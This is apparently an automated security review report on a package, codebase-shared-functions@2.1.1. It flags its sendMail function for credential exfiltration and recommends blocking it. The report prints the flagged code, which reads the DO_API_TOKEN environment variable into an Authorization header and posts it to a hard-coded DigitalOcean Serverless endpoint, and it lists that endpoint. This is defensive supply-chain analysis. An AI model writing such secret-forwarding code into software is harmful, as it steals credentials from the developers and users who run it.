codebase-shared-functions@2.1.1
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe exported mail function forwards the environment's DigitalOcean API token to a publisher-selected Serverless action endpoint. This is credential exfiltration when the function is invoked, so the package should be blocked.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer calls the exported sendMail function.
Impact
The endpoint receives a reusable DigitalOcean API credential, enabling access beyond the intended email request.
Mechanism
The function reads DO_API_TOKEN, sets it as a Basic Authorization header, and posts mail details to a fixed DigitalOcean Serverless endpoint.
Attack narrative
When a consumer calls the exported sendMail function, the package sends DO_API_TOKEN as an Authorization header to a fixed Serverless action endpoint. This transfers a DigitalOcean API credential to a specific function endpoint rather than using it solely for ordinary DigitalOcean API authentication, exposing the credential to the endpoint operator.
AI rationale
The exported mail function forwards the environment's DigitalOcean API token to a publisher-selected Serverless action endpoint. This is credential exfiltration when the function is invoked, so the package should be blocked.
Evidence
src/mailer.jssrc/index.js
Network endpoints1
faas-fra1-afec6ce7.doserverless.co/api/v1/namespaces/fn-c079cb69-636a-4923-ae9a-bbe0449eecf1/actions/sendemail/sendemail?blocking=true&result=true
Decision evidence
public snapshotAI called this Malicious at 95.0% confidence as Malware with low false-positive risk.
Evidence for block
- sendMail constructs a request to a hard-coded DigitalOcean Serverless action endpoint.
- sendMail places process.env.DO_API_TOKEN in the Authorization header and posts the request to that endpoint.
- The package entry point exposes sendMail, making this credential transfer reachable to package consumers.
Evidence against
- The credential transfer occurs when sendMail is called, not in an install lifecycle script.
- The package has no install, preinstall, or postinstall script.
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggedsrc/mailer.jsView file
1const axios = require('axios');
L2: const sendMail = async (mailDetails) => {
...
L6: const headers = {
L7: Authorization: `Basic ${process.env.DO_API_TOKEN}`,
L8: 'Content-Type': 'application/json',
...
L10:
L11: const res = await axios.post(url, mailDetails, { headers });
L12: console.log('logger give infor error', res);
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/mailer.jsView on unpkg · L11Trigger-reachable chain: scripts.start -> src/index.js -> src/mailer.js
L1: const axios = require('axios');
L2: const sendMail = async (mailDetails) => {
...
L6: const headers = {
L7: Authorization: `Basic ${process.env.DO_API_TOKEN}`,
L8: 'Content-Type': 'application/json',
...
L10:
L11: const res = await axios.post(url, mailDetails, { headers });
L12: console.log('logger give infor error', res);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
src/mailer.jsView on unpkg · L11Trigger-reachable credential exfiltration chain: scripts.start -> src/index.js -> src/mailer.js
L1: const axios = require('axios');
L2: const sendMail = async (mailDetails) => {
...
L6: const headers = {
L7: Authorization: `Basic ${process.env.DO_API_TOKEN}`,
L8: 'Content-Type': 'application/json',
...
L10:
L11: const res = await axios.post(url, mailDetails, { headers });
L12: console.log('logger give infor error', res);
Findings
2 Critical3 High4 Medium3 Low
CriticalCredential Exfiltrationsrc/mailer.js
CriticalTrigger Reachable Dangerous Capabilitysrc/mailer.js
HighTrigger Reachable Credential Exfiltrationsrc/mailer.js
HighNode Builtin Dependency Squatpackage.json
HighAi Review Evidencesrc/mailer.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
MediumStripped Provenance Metadatasrc/mailer.js
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to codebase-shared-functions@2.1.1.
See all versions of codebase-shared-functions for other recorded verdicts.
- Avoid installing codebase-shared-functions@2.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.